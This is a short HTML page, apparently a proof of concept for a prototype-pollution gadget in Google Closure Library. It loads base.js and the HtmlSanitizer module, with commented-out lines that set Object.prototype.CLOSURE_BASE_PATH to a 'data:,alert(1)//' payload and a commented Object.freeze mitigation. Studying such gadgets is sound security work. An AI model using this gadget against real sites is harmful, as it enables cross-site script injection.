<script>

//Object.freeze(Object.prototype);
//Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
    goog.require('goog.html.sanitizer.HtmlSanitizer');
    goog.require('goog.dom');
</script>
